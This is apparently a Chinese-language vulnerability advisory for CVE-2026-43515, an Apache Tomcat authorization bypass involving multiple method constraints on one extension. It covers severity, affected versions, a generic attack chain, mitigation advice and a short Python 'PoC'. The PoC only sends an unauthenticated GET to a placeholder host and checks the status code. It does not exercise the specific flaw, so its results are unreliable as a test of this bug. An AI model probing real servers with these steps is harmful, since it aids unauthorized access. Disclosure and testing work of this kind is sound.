CVE-2026-43515 CVSS 9.1 严重

CVE-2026-43515 Apache Tomcat 权限绕过漏洞

披露日期: 2026-05-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-43515

漏洞类型

权限绕过

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Apache Tomcat

漏洞概述

Apache Tomcat 在处理安全约束时存在不当授权漏洞。当多个方法约束为同一扩展名定义 HTTP 方法时，攻击者可利用此逻辑缺陷绕过访问控制。该漏洞无需用户交互和身份认证即可通过网络远程利用，可能导致敏感信息泄露及数据完整性被破坏。

技术细节

该漏洞源于 Apache Tomcat 在解析和匹配安全约束时的逻辑错误。当应用程序（如 web.xml）中针对同一个文件扩展名（例如 *.jsp）配置了多个方法约束时，容器在合并或检查这些约束时可能出现异常，导致原本应受保护的 HTTP 方法被错误地允许访问。攻击者通过构造特定的 HTTP 请求，利用这一配置冲突，可以在未通过身份验证的情况下访问受限资源。由于 CVSS 评分高达 9.1，且影响广泛（涵盖 7.x 至 11.x 多个长期支持版本），该漏洞具有极高的安全风险。

攻击链分析

STEP 1

侦察

攻击者识别目标服务器运行的是受影响版本的 Apache Tomcat（7.x 至 11.x）。

STEP 2

分析

攻击者探测目标应用程序的配置，寻找使用了针对同一扩展名定义多个方法约束的安全约束场景。

STEP 3

利用

攻击者向受保护的资源端点发送特制的 HTTP 请求，触发容器内部的权限校验逻辑缺陷。

STEP 4

影响

成功绕过身份验证，获取敏感数据或在未授权的情况下执行操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# PoC for CVE-2026-43515
# Description: This script checks if a protected resource can be accessed
# due to the improper authorization handling with multiple method constraints.

target_url = "http://target-vulnerable-tomcat.com/protected/resource.jsp"

headers = {
    "User-Agent": "CVE-2026-43515-Test"
}

print(f"[*] Attempting to access: {target_url}")

try:
    # Send a request without authentication cookies
    response = requests.get(target_url, headers=headers, timeout=10)

    if response.status_code == 200:
        print("[+] Potential Vulnerability Detected!")
        print("[+] Received 200 OK without authentication.")
        print(f"[+] Response Content Length: {len(response.text)}")
    elif response.status_code == 401 or response.status_code == 403:
        print("[-] Access Denied. System might be patched or not vulnerable.")
    else:
        print(f"[?] Received status code: {response.status_code}")

except Exception as e:
    print(f"[!] Error during request: {e}")

影响范围

Apache Tomcat 11.0.0-M1 至 11.0.21

Apache Tomcat 10.1.0-M1 至 10.1.54

Apache Tomcat 9.0.0.M1 至 9.0.117

Apache Tomcat 8.5.0 至 8.5.100

Apache Tomcat 7.0.0 至 7.0.109

防御指南

临时缓解措施

如果无法立即升级，请审查并修改 web.xml 配置，确保不要对同一扩展名使用多个方法约束。同时，建议在网络边界（如 WAF 或反向代理）实施严格的访问控制策略，拦截对敏感路径的未授权请求，并加强日志监控以发现潜在的利用尝试。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表